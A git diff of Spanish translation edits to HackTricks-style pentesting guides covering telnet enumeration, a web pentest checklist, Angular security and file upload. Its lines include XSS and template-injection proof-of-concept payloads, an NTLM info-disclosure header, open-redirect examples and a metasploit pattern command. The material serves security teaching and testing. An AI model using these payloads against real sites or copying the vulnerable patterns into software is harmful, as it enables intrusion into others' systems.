tráfico. ## Examinar archivos de configuración SNMP diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 78c2325f6..9e4157245 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -21,9 +21,9 @@ Toda la enumeración interesante se puede realizar con **nmap**: ```bash nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` -El script `telnet-ntlm-info.nse` obtendrá información NTLM (versiones de Windows). +El script `telnet-ntlm-info.nse` obtendrá información de NTLM (versiones de Windows). -De la [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): En el Protocolo TELNET hay varias "**opciones**" que serán sancionadas y pueden ser utilizadas con la estructura "**DO, DON'T, WILL, WON'T**" para permitir que un usuario y un servidor acuerden usar un conjunto más elaborado (o quizás simplemente diferente) de convenciones para su conexión TELNET. Tales opciones podrían incluir cambiar el conjunto de caracteres, el modo de eco, etc. +Del [RFC de telnet](https://datatracker.ietf.org/doc/html/rfc854): En el Protocolo TELNET hay varias "**opciones**" que serán sancionadas y pueden ser utilizadas con la estructura "**DO, DON'T, WILL, WON'T**" para permitir que un usuario y un servidor acuerden usar un conjunto más elaborado (o quizás simplemente diferente) de convenciones para su conexión TELNET. Tales opciones podrían incluir cambiar el conjunto de caracteres, el modo de eco, etc. **Sé que es posible enumerar estas opciones, pero no sé cómo, así que házmelo saber si sabes cómo.** diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index ae5857945..42f8daec7 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -35,7 +35,7 @@ web-api-pentesting.md - [ ] Comienza con los **chequeos iniciales**: **robots**, **sitemap**, error **404** y **escaneo SSL/TLS** (si es HTTPS). - [ ] Comienza a **spidering** la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros utilizados.** Además, verifica si hay **hallazgos especiales**. - [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser spidered._ -- [ ] **Brute-Forcing de directorios**: Intenta forzar todos los folders descubiertos buscando nuevos **archivos** y **directorios**. +- [ ] **Brute-Forcing de directorios**: Intenta forzar todos los directorios descubiertos buscando nuevos **archivos** y **directorios**. - [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser Brute-Forced._ - [ ] **Verificación de copias de seguridad**: Prueba si puedes encontrar **copias de seguridad** de **archivos descubiertos** añadiendo extensiones comunes de copia de seguridad. - [ ] **Brute-Force de parámetros**: Intenta **encontrar parámetros ocultos**. @@ -101,7 +101,7 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog _Toma en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\ Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!). -### Revisión de código fuente +### Revisión de Código Fuente Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **tu cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**: @@ -110,7 +110,7 @@ Si el **código fuente** de la aplicación está disponible en **github**, adem - ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hash** se utiliza? - ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza? - ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad? -- ¿Hay alguna **información interesante en github** (problemas resueltos y no resueltos)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida en un antiguo commit**)? +- ¿Hay alguna **información interesante en github** (resueltas y no resueltas) **issues**? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un viejo commit**)? {{#ref}} code-review-tools.md @@ -168,7 +168,7 @@ Los servidores web pueden **comportarse de manera inesperada** cuando se les env - Accede a **páginas falsas** como /whatever_fake.php (.aspx, .html, etc.) - **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y **valores de parámetros** para crear errores -- Genera un error proporcionando entrada como **`/~randomthing/%s`** al **final** de la **URL** +- Genera un error dando entrada como **`/~randomthing/%s`** al **final** de la **URL** - Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE #### **Verifica si puedes subir archivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)** @@ -183,7 +183,7 @@ Si descubres que **WebDav** está **habilitado** pero no tienes suficientes perm - Si la aplicación **no está forzando al usuario a usar HTTPS** en ninguna parte, entonces es **vulnerable a MitM** - Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una alta vulnerabilidad. -Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (En programas de Bug Bounty, probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv**](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades: +Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (en programas de Bug Bounty, probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv**](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -205,23 +205,23 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, con LinkFinder para archivos JS y Archive.org como fuente externa. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, también indica "archivos jugosos". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interactivo CLI. También busca en Archive.org. -- [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider, pero puede ser útil. Solo puedes indicar un archivo con hosts y un archivo con rutas y meg obtendrá cada ruta en cada host y guardará la respuesta. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no se mantiene, la versión precompilada es antigua y el código actual no compila. +- [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider, pero puede ser útil. Solo puedes indicar un archivo con hosts y un archivo con rutas y meg buscará cada ruta en cada host y guardará la respuesta. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no está mantenido, la versión precompilada es antigua y el código actual no compila. - [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl). - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará. - [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento de JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no se mantiene. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados). - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Reúne información interesante de archivos JS utilizando varias herramientas. - [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador sin cabeza e imprime todas las URLs cargadas para cargar la página. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que mezcla varias opciones de las herramientas anteriores. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar rutas y parámetros en archivos JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te dará el código JS embellecido. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te proporcionará el código JS embellecido. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en el Wayback y buscando más enlaces). +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en Wayback y buscando más enlaces). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado rastreador/spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript. @@ -234,7 +234,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta en **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y agregando al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\ Herramientas: -- **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento en comparación con las otras opciones. +- **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento en comparación con otras opciones. - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: No permite certificados auto-firmados pero** permite búsqueda recursiva. - [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, **no tiene** búsqueda **recursiva**. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, soporta búsqueda recursiva.** @@ -250,7 +250,7 @@ Herramientas: - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Diccionario incluido de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -- [Listas de palabras de Assetnote](https://wordlists.assetnote.io) +- [Assetnote wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - raft-large-directories-lowercase.txt - directory-list-2.3-medium.txt @@ -264,11 +264,11 @@ Herramientas: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerza bruta o el spidering, debe ser sometido a fuerza bruta._ +_Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerza bruta o el spidering, debe ser Fuerza Bruta._ ### Qué verificar en cada archivo encontrado -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTML que pueden ser propensos a tomas de control. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser propensos a tomas de control. - **Copias de seguridad de archivos**: Una vez que hayas encontrado todos los archivos, busca copias de seguridad de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar una copia de seguridad son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp y file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, podrías intentar buscar** parámetros ocultos en cada archivo web ejecutable. - _Arjun todas las listas de palabras predeterminadas:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) @@ -283,12 +283,12 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz ### Hallazgos especiales -**Mientras** realizas el **spidering** y **fuerza bruta** podrías encontrar **cosas** **interesantes** que debes **notar**. +**Mientras** realizas el **spidering** y **fuerza bruta** podrías encontrar **cosas interesantes** que debes **notar**. **Archivos interesantes** - Busca **enlaces** a otros archivos dentro de los **archivos CSS**. -- [Si encuentras un archivo _**.git**_ se puede extraer información](git.md). +- [Si encuentras un archivo _**.git**_ se puede extraer información](git.md) - Si encuentras un _**.env**_ se puede encontrar información como claves API, contraseñas de bases de datos y otra información. - Si encuentras **endpoints API** [también deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán como" ellos. - **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.** @@ -310,13 +310,13 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una solicitud HTTP como: `GET https://google.com HTTP/1.1`** (con el encabezado de host y otros encabezados comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF. -**Autenticación NTLM - Divulgación de información** +**NTLM Authentication - Info disclosure** -Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión pidiendo tus **credenciales** (y pidiendo el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\ +Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que pide tus **credenciales** (y solicita el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\ **Envía** el **encabezado**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del encabezado "WWW-Authenticate".\ Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.nse_". -**Redirección HTTP (CTF)** +**HTTP Redirect (CTF)** Es posible **poner contenido** dentro de una **Redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí. diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index eb34c803a..6dc127fe6 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -49,7 +49,7 @@ Para datos o lógica que no están asociados con una vista específica, y que de ## Configuración de sourcemap -El marco Angular traduce archivos TypeScript en código JavaScript siguiendo las opciones de `tsconfig.json` y luego construye un proyecto con la configuración de `angular.json`. Al observar el archivo `angular.json`, notamos una opción para habilitar o deshabilitar un sourcemap. Según la documentación de Angular, la configuración predeterminada tiene un archivo sourcemap habilitado para scripts y no está oculto por defecto: +El marco de Angular traduce archivos TypeScript en código JavaScript siguiendo las opciones de `tsconfig.json` y luego construye un proyecto con la configuración de `angular.json`. Al observar el archivo `angular.json`, observamos una opción para habilitar o deshabilitar un sourcemap. Según la documentación de Angular, la configuración predeterminada tiene un archivo sourcemap habilitado para scripts y no está oculto por defecto: ```json "sourceMap": { "scripts": true, @@ -58,9 +58,9 @@ El marco Angular traduce archivos TypeScript en código JavaScript siguiendo las "hidden": false } ``` -Generalmente, los archivos sourcemap se utilizan para fines de depuración, ya que mapean los archivos generados a sus archivos originales. Por lo tanto, no se recomienda usarlos en un entorno de producción. Si los sourcemaps están habilitados, mejora la legibilidad y ayuda en el análisis de archivos al replicar el estado original del proyecto Angular. Sin embargo, si están deshabilitados, un revisor aún puede analizar un archivo JavaScript compilado manualmente buscando patrones anti-seguridad. +Generalmente, los archivos sourcemap se utilizan para fines de depuración, ya que mapean los archivos generados a sus archivos originales. Por lo tanto, no se recomienda usarlos en un entorno de producción. Si los sourcemaps están habilitados, mejoran la legibilidad y ayudan en el análisis de archivos al replicar el estado original del proyecto Angular. Sin embargo, si están deshabilitados, un revisor aún puede analizar un archivo JavaScript compilado manualmente buscando patrones anti-seguridad. -Además, un archivo JavaScript compilado con un proyecto Angular se puede encontrar en las herramientas de desarrollador del navegador → Fuentes (o Depurador y Fuentes) → \[id].main.js. Dependiendo de las opciones habilitadas, este archivo puede contener la siguiente fila al final `//# sourceMappingURL=[id].main.js.map` o puede no contenerla, si la opción **oculta** está configurada en **true**. No obstante, si el sourcemap está deshabilitado para **scripts**, la prueba se vuelve más compleja y no podemos obtener el archivo. Además, el sourcemap se puede habilitar durante la construcción del proyecto como `ng build --source-map`. +Además, un archivo JavaScript compilado con un proyecto Angular se puede encontrar en las herramientas de desarrollador del navegador → Fuentes (o Depurador y Fuentes) → \[id].main.js. Dependiendo de las opciones habilitadas, este archivo puede contener la siguiente fila al final `//# sourceMappingURL=[id].main.js.map` o puede no contenerla, si la opción **hidden** está configurada en **true**. No obstante, si el sourcemap está deshabilitado para **scripts**, las pruebas se vuelven más complejas y no podemos obtener el archivo. Además, el sourcemap se puede habilitar durante la construcción del proyecto como `ng build --source-map`. ## Vinculación de datos @@ -218,7 +218,7 @@ test = "

test

"; Angular aprovecha las plantillas para construir páginas dinámicamente. El enfoque implica encerrar expresiones de plantilla para que Angular las evalúe dentro de dobles llaves (`{{}}`). De esta manera, el marco ofrece funcionalidad adicional. Por ejemplo, una plantilla como `{{1+1}}` se mostraría como 2. -Típicamente, Angular escapa la entrada del usuario que puede confundirse con expresiones de plantilla (por ejemplo, caracteres como \`< > ' " \`\`). Esto significa que se requieren pasos adicionales para eludir esta restricción, como utilizar funciones que generan objetos de cadena de JavaScript para evitar el uso de caracteres en la lista negra. Sin embargo, para lograr esto, debemos considerar el contexto de Angular, sus propiedades y variables. Por lo tanto, un ataque de inyección de plantillas puede aparecer de la siguiente manera: +Normalmente, Angular escapa la entrada del usuario que puede confundirse con expresiones de plantilla (por ejemplo, caracteres como \`< > ' " \`\`). Esto significa que se requieren pasos adicionales para eludir esta restricción, como utilizar funciones que generan objetos de cadena de JavaScript para evitar el uso de caracteres en la lista negra. Sin embargo, para lograr esto, debemos considerar el contexto de Angular, sus propiedades y variables. Por lo tanto, un ataque de inyección de plantillas puede aparecer de la siguiente manera: ```jsx //app.component.ts const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' @@ -227,7 +227,7 @@ selector: 'app-root', template: '

title

' + _userInput }) ``` -Como se mostró arriba: `constructor` se refiere al alcance de la propiedad `constructor` del objeto, lo que nos permite invocar el constructor de String y ejecutar un código arbitrario. +Como se mostró arriba: `constructor` se refiere al alcance de la propiedad Object `constructor`, lo que nos permite invocar el constructor de String y ejecutar un código arbitrario. #### Renderizado del lado del servidor (SSR) @@ -292,7 +292,7 @@ document.body.appendChild(a); ``` #### Clases de Angular -Hay algunas clases que se pueden usar para trabajar con elementos del DOM en Angular: `ElementRef`, `Renderer2`, `Location` y `Document`. Una descripción detallada de las dos últimas clases se da en la sección **Redirecciones abiertas**. La principal diferencia entre las dos primeras es que la API de `Renderer2` proporciona una capa de abstracción entre el elemento del DOM y el código del componente, mientras que `ElementRef` solo mantiene una referencia al elemento. Por lo tanto, según la documentación de Angular, la API de `ElementRef` solo debe usarse como último recurso cuando se necesita acceso directo al DOM. +Hay algunas clases que se pueden usar para trabajar con elementos del DOM en Angular: `ElementRef`, `Renderer2`, `Location` y `Document`. Una descripción detallada de las dos últimas clases se da en la sección **Open redirects**. La principal diferencia entre las dos primeras es que la API de `Renderer2` proporciona una capa de abstracción entre el elemento del DOM y el código del componente, mientras que `ElementRef` solo mantiene una referencia al elemento. Por lo tanto, según la documentación de Angular, la API de `ElementRef` solo debe usarse como último recurso cuando se necesita acceso directo al DOM. * `ElementRef` contiene la propiedad `nativeElement`, que se puede usar para manipular los elementos del DOM. Sin embargo, el uso inadecuado de `nativeElement` puede resultar en una vulnerabilidad de inyección XSS, como se muestra a continuación: @@ -341,9 +341,9 @@ this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)'); //app.component.html - + ``` -* Para establecer la propiedad de un elemento del DOM, puedes usar el método `Renderer2.setProperty()` y desencadenar un ataque XSS: +* Para establecer la propiedad de un elemento del DOM, se puede usar el método `Renderer2.setProperty()` y desencadenar un ataque XSS: ```tsx //app.component.ts @@ -368,14 +368,14 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', ' - + ``` -Durante nuestra investigación, también examinamos el comportamiento de otros métodos de `Renderer2`, como `setStyle()`, `createComment()`, y `setValue()`, en relación con inyecciones XSS y CSS. Sin embargo, no pudimos encontrar vectores de ataque válidos para estos métodos debido a sus limitaciones funcionales. +Durante nuestra investigación, también examinamos el comportamiento de otros métodos de `Renderer2`, como `setStyle()`, `createComment()` y `setValue()`, en relación con inyecciones XSS y CSS. Sin embargo, no pudimos encontrar vectores de ataque válidos para estos métodos debido a sus limitaciones funcionales. #### jQuery -jQuery es una biblioteca de JavaScript rápida, pequeña y rica en características que se puede usar en el proyecto Angular para ayudar con la manipulación de los objetos DOM HTML. Sin embargo, como se sabe, los métodos de esta biblioteca pueden ser explotados para lograr una vulnerabilidad XSS. Con el fin de discutir cómo algunos métodos vulnerables de jQuery pueden ser explotados en proyectos Angular, agregamos esta subsección. +jQuery es una biblioteca de JavaScript rápida, pequeña y rica en características que se puede usar en el proyecto Angular para ayudar con la manipulación de los objetos DOM HTML. Sin embargo, como se sabe, los métodos de esta biblioteca pueden ser explotados para lograr una vulnerabilidad XSS. Con el fin de discutir cómo algunos métodos vulnerables de jQuery pueden ser explotados en proyectos de Angular, agregamos esta subsección. * El método `html()` obtiene el contenido HTML del primer elemento en el conjunto de elementos coincidentes o establece el contenido HTML de cada elemento coincidente. Sin embargo, por diseño, cualquier constructor o método de jQuery que acepte una cadena HTML puede potencialmente ejecutar código. Esto puede ocurrir mediante la inyección de etiquetas `"); } //app.component.html - -

algún texto aquí

+ +

some text here

``` -* El método `jQuery.parseHTML()` utiliza métodos nativos para convertir la cadena en un conjunto de nodos DOM, que luego pueden ser insertados en el documento. +* El método `jQuery.parseHTML()` utiliza métodos nativos para convertir la cadena en un conjunto de nodos DOM, que luego se pueden insertar en el documento. ```tsx jQuery.parseHTML(data [, context ] [, keepScripts ]) @@ -438,19 +438,19 @@ $palias.append(html); } //app.component.html - -

algún texto

+ +

some text

``` -### Redirecciones abiertas +### Open redirects #### Interfaces del DOM -Según la documentación de W3C, los objetos `window.location` y `document.location` se tratan como alias en los navegadores modernos. Es por eso que tienen una implementación similar de algunos métodos y propiedades, lo que podría causar una redirección abierta y XSS en el DOM con ataques de esquema `javascript://` como se menciona a continuación. +Según la documentación de W3C, los objetos `window.location` y `document.location` se tratan como alias en los navegadores modernos. Es por eso que tienen una implementación similar de algunos métodos y propiedades, lo que podría causar un redireccionamiento abierto y XSS en el DOM con ataques de esquema `javascript://` como se menciona a continuación. -* `window.location.href` (y `document.location.href`) +* `window.location.href`(y `document.location.href`) -La forma canónica de obtener el objeto de ubicación DOM actual es usando `window.location`. También se puede usar para redirigir el navegador a una nueva página. Como resultado, tener control sobre este objeto nos permite explotar una vulnerabilidad de redirección abierta. +La forma canónica de obtener el objeto de ubicación DOM actual es usando `window.location`. También se puede usar para redirigir el navegador a una nueva página. Como resultado, tener control sobre este objeto nos permite explotar una vulnerabilidad de redireccionamiento abierto. ```tsx //app.component.ts @@ -462,13 +462,13 @@ window.location.href = "https://google.com/about" } //app.component.html - + ``` El proceso de explotación es idéntico para los siguientes escenarios. -* `window.location.assign()` (y `document.location.assign()`) +* `window.location.assign()`(y `document.location.assign()`) -Este método hace que la ventana cargue y muestre el documento en la URL especificada. Si tenemos control sobre este método, podría ser un punto de entrada para un ataque de redirección abierta. +Este método hace que la ventana cargue y muestre el documento en la URL especificada. Si tenemos control sobre este método, podría ser un punto de entrada para un ataque de redireccionamiento abierto. ```tsx //app.component.ts @@ -479,11 +479,11 @@ window.location.assign("https://google.com/about") } } ``` -* `window.location.replace()` (y `document.location.replace()`) +* `window.location.replace()`(y `document.location.replace()`) Este método reemplaza el recurso actual con el que se encuentra en la URL proporcionada. -Esto difiere del método `assign()` en que después de usar `window.location.replace()`, la página actual no se guardará en el historial de sesión. Sin embargo, también es posible explotar una vulnerabilidad de redirección abierta cuando tenemos control sobre este método. +Esto difiere del método `assign()` en que después de usar `window.location.replace()`, la página actual no se guardará en el historial de sesión. Sin embargo, también es posible explotar una vulnerabilidad de redireccionamiento abierto cuando tenemos control sobre este método. ```tsx //app.component.ts @@ -496,7 +496,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -El método `window.open()` toma una URL y carga el recurso que identifica en una nueva pestaña o ventana existente. Tener control sobre este método también podría ser una oportunidad para desencadenar una vulnerabilidad XSS o de redirección abierta. +El método `window.open()` toma una URL y carga el recurso que identifica en una nueva pestaña o ventana existente. Tener control sobre este método también podría ser una oportunidad para desencadenar una vulnerabilidad XSS o de redireccionamiento abierto. ```tsx //app.component.ts @@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank") #### Clases de Angular -* Según la documentación de Angular, Angular `Document` es lo mismo que el documento del DOM, lo que significa que es posible usar vectores comunes para el documento del DOM para explotar vulnerabilidades del lado del cliente en Angular. Las propiedades y métodos de `Document.location` podrían ser puntos de entrada para ataques exitosos de redirección abierta, como se muestra en el ejemplo: +* Según la documentación de Angular, Angular `Document` es lo mismo que el documento del DOM, lo que significa que es posible usar vectores comunes para el documento del DOM para explotar vulnerabilidades del lado del cliente en Angular. Las propiedades y métodos de `Document.location` podrían ser puntos de entrada para ataques exitosos de redireccionamiento abierto, como se muestra en el ejemplo: ```tsx //app.component.ts @@ -531,9 +531,9 @@ this.document.location.href = 'https://google.com/about'; } //app.component.html - + ``` -* Durante la fase de investigación, también revisamos la clase `Location` de Angular en busca de vulnerabilidades de redirección abierta, pero no se encontraron vectores válidos. `Location` es un servicio de Angular que las aplicaciones pueden usar para interactuar con la URL actual del navegador. Este servicio tiene varios métodos para manipular la URL dada - `go()`, `replaceState()`, y `prepareExternalUrl()`. Sin embargo, no podemos usarlos para redirigir a un dominio externo. Por ejemplo: +* Durante la fase de investigación, también revisamos la clase `Location` de Angular en busca de vulnerabilidades de redireccionamiento abierto, pero no se encontraron vectores válidos. `Location` es un servicio de Angular que las aplicaciones pueden usar para interactuar con la URL actual del navegador. Este servicio tiene varios métodos para manipular la URL dada - `go()`, `replaceState()` y `prepareExternalUrl()`. Sin embargo, no podemos usarlos para redirigir a un dominio externo. Por ejemplo: ```tsx //app.component.ts diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 6d9c470b5..543dc1417 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -51,7 +51,7 @@ Otras extensiones útiles: ``` # Linux máximo 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png 